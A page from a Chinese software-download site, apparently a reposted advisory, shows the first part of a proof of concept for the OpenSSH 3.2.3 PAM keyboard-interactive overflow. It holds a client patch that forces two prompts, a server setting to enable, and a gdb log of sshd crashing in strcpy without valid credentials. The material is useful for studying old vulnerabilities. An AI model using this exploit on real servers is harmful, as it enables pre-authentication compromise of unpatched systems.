• 网络学院
  • IT资讯
  • 操作系统
  • 网络技术
  • 软件应用
  • 办公软件
  • 编程技术
  • 网站架设
  • 数据库类
  • 平面设计
  • 多媒体类
  • 游戏资讯
  • 教学论文
  • 认证考试
OpenSSH溢出攻击方法
  站点:
  • 首 页
  • 最新软件
  • 文章教程
  • 国内软件
  • 国外软件
  • 绿色软件
  • 源码下载
  • 字体下载
OpenSSH溢出攻击方法
软件发布 OpenSSH溢出攻击方法
网络软件 系统工具 应用软件 联络聊天 图形图像 多媒体类 行业软件 游戏娱乐 编程开发 安全相关 教育教学 数码软件 绿软下载
热门软件: QQ 瑞星 pplive e话通 木马克星 千千静听 office2000 五笔字根 Photoshop 视频分割
返回文章教程首页 >> 认证考试 >> 思科认证 >> Cisco指导 >> OpenSSH溢出攻击方法

OpenSSH溢出攻击方法

添加时间: 2008-2-24 13:14:55  作者: Cisco指导  阅读次数:180   来源: http://www.d9soft.com

        @@ -866,6 +866,7 @@

xfree(lang);

num_prompts = packet_get_int();

+ num_prompts = 2;

/*

* Begin to build info response packet based on prompts requested.

* We commit to providing the correct number of responses, so if

@@ -877,15 +878,16 @@

debug2("input_userauth_info_req: num_prompts %d", num_prompts);

for (i = 0; i < num_prompts; i++) {

+ if ( i == 0 ) {

prompt = packet_get_string(NULL);

echo = packet_get_char();

response = read_passphrase(prompt, echo ? RP_ECHO : 0);

- -
+ }

packet_put_cstring(response);

- - memset(response, 0, strlen(response));

+ /*memset(response, 0, strlen(response));

xfree(response);

- - xfree(prompt);

+ xfree(prompt);*/

}

packet_check_eom(); /* done with parsing incoming message. */

2.) Add "PAMAuthenticationViaKbdInt yes" to ’sshd_config’.

3.) Connect to sshd using the modified client.

Note: valid credentials are not required.

On the server side, you’ll see:

[root@wonderland hi_chad]# gdb /usr/sbin/sshd

GNU gdb Red Hat  Linux  7.x (5.0rh-15) (MI_OUT)

Copyright 2001 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain 

conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux"...

(no debugging symbols found)...

(gdb) run -d

Starting program: /usr/sbin/sshd -d

debug1: sshd version OpenSSH_3.2.3p1

debug1: private host key: #0 type 0 RSA1

debug1: read PEM private key done: type RSA

debug1: private host key: #1 type 1 RSA

debug1: read PEM private key done: type DSA

debug1: private host key: #2 type 2 DSA

socket: Address family not supported by protocol

debug1: Bind to port 22 on 0.0.0.0.

Server listening on 0.0.0.0 port 22.

Generating 768 bit RSA key.

RSA key generation complete.

debug1: Server will not fork when running in debugging mode.

Connection from 127.0.0.1 port 33208

debug1: Client protocol version 2.0; client software version OpenSSH_3.2.3p1

debug1: match: OpenSSH_3.2.3p1 pat OpenSSH*

Enabling compatibility mode for protocol 2.0

debug1: Local version string SSH-1.99-OpenSSH_3.2.3p1

debug1: list_hostkey_types: ssh-rsa,ssh-dss

debug1: SSH2_MSG_KEXINIT sent

debug1: SSH2_MSG_KEXINIT received

debug1: kex: client->server aes128-cbc hmac-md5 none

debug1: kex: server->client aes128-cbc hmac-md5 none

debug1: SSH2_MSG_KEX_DH_GEX_REQUEST received

debug1: SSH2_MSG_KEX_DH_GEX_GROUP sent

debug1: dh_gen_key: priv key bits set: 124/256

debug1: bits set: 1626/3191

debug1: expecting SSH2_MSG_KEX_DH_GEX_INIT

debug1: bits set: 1597/3191

debug1: SSH2_MSG_KEX_DH_GEX_REPLY sent

debug1: kex_derive_keys

debug1: newkeys: mode 1

debug1: SSH2_MSG_NEWKEYS sent

debug1: waiting for SSH2_MSG_NEWKEYS

debug1: newkeys: mode 0

debug1: SSH2_MSG_NEWKEYS received

debug1: KEX done

debug1: userauth-request for user jdog service ssh-connection method none

debug1: attempt 0 failures 0

debug1: Starting up PAM with username "jdog"

debug1: PAM setting rhost to "localhost.localdomain"

Failed none for jdog from 127.0.0.1 port 33208 ssh2

debug1: userauth-request for user jdog service ssh-connection method 

keyboard-interactive

debug1: attempt 1 failures 1

debug1: keyboard-interactive devs

debug1: auth2_challenge: user=jdog devs=

debug1: kbdint_alloc: devices ’skey’

debug1: auth2_challenge_start: trying authentication method ’skey’

debug1: got 2 responses

(no debugging symbols found)...

Program received signal SIGSEGV, Segmentation fault.

0x08053822 in strcpy ()

(gdb)

Comments are much appreciated.

OpenSSH溢出攻击方法(2) 第 [1] [2]  下一页

 

上下文章:

 

上一篇文章: 思科路由器和安全设备管理器 下一篇文章: 如何给用人单位发送思科认证资质证明

相关文章:

  • 黑客利用Twitter发动钓鱼攻击
  • 研究者表示 可实现不易察觉钓鱼攻击
  • 三种方法有效解决MSN无法安装的问题
  • 手动去除QQ2009广告和插件的方法
  • 最新版本Windows MSN去广告方法

相关软件:

  • 学习方法宝典 2006 新春贺年版
  • 东方法律宝典 2005 Ⅲ
  • 104种木马清理方法 CHM格式电子书
  • 网页特效库2006[198特效使用方法]电子书
  • 攻击潜艇 绿色版
  • 如何配置dns系统虚拟域名的配置和设置方法(PDF)

 

快速导航

  • 网络学院
  • 精品汇聚
  • 字体下载
  • 教程下载
  • ASP源码
  • PHP源码
  • Net源码
  • JSP 源码

思科认证分类导航

  • Cisco动态
  • Cisco指导
  • Cisco介绍
  • Cisco试题

本类经典文章推荐

  • CISCO认证增长60%新认证推陈出新
  • 加快千兆网络普及以太网技术动向
  • WinGate与Internet连接共享
  • WinGate3.0安装指导
  • 远程传输的两种技术优劣各异
  • Cisco认证指导:基础中文命令集
  • IOS软件结构读书笔记
  • 路由器基础配置及传输协议
  • 网络安全:IPv6安全威胁
  • 路由技术:路由器远程管理实例

Cisco指导阅读排行

  • Cisco路由器访问控制列表详解
  • EPON与GPON的综合比较
  • 我的CISCO认证学习笔记总结
  • CCNA考试主要知识点指导
  • Cisco指导:IOS命令大全(一)
  • 使用IPSec阻止特定网络协议和端口
  • Cisco路由器上配置pppoe拨号
  • VPN实例配置方案:IPSec配置
  • CCNA认证介绍(思科认证网络工程师...
  • GSM数字移动通信无线网络规划设计...

思科认证阅读总排行

  • Cisco路由器访问控制列表详解
  • EPON与GPON的综合比较
  • CCNA简介
  • 我的CISCO认证学习笔记总结
  • 思科考试认证(CISCO) CCNA考试就...
  • Cisco经验介绍:CCNP培训日记(2)
  • CCNA考试主要知识点指导
  • Cisco指导:IOS命令大全(一)
  • Cisco经验介绍:ping命令之解惑
  • 使用IPSec阻止特定网络协议和端口

广告位置

字母检索 A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 回到顶部

关于我们 | 版权声明 | 免责条款 | 广告联系 | 软件发布 | 下载帮助 | 下载排行 | 网站地图 | 特别鸣谢 | 友情连接

copyright; 2005-2008 D9soft.com 第九软件网 版权所有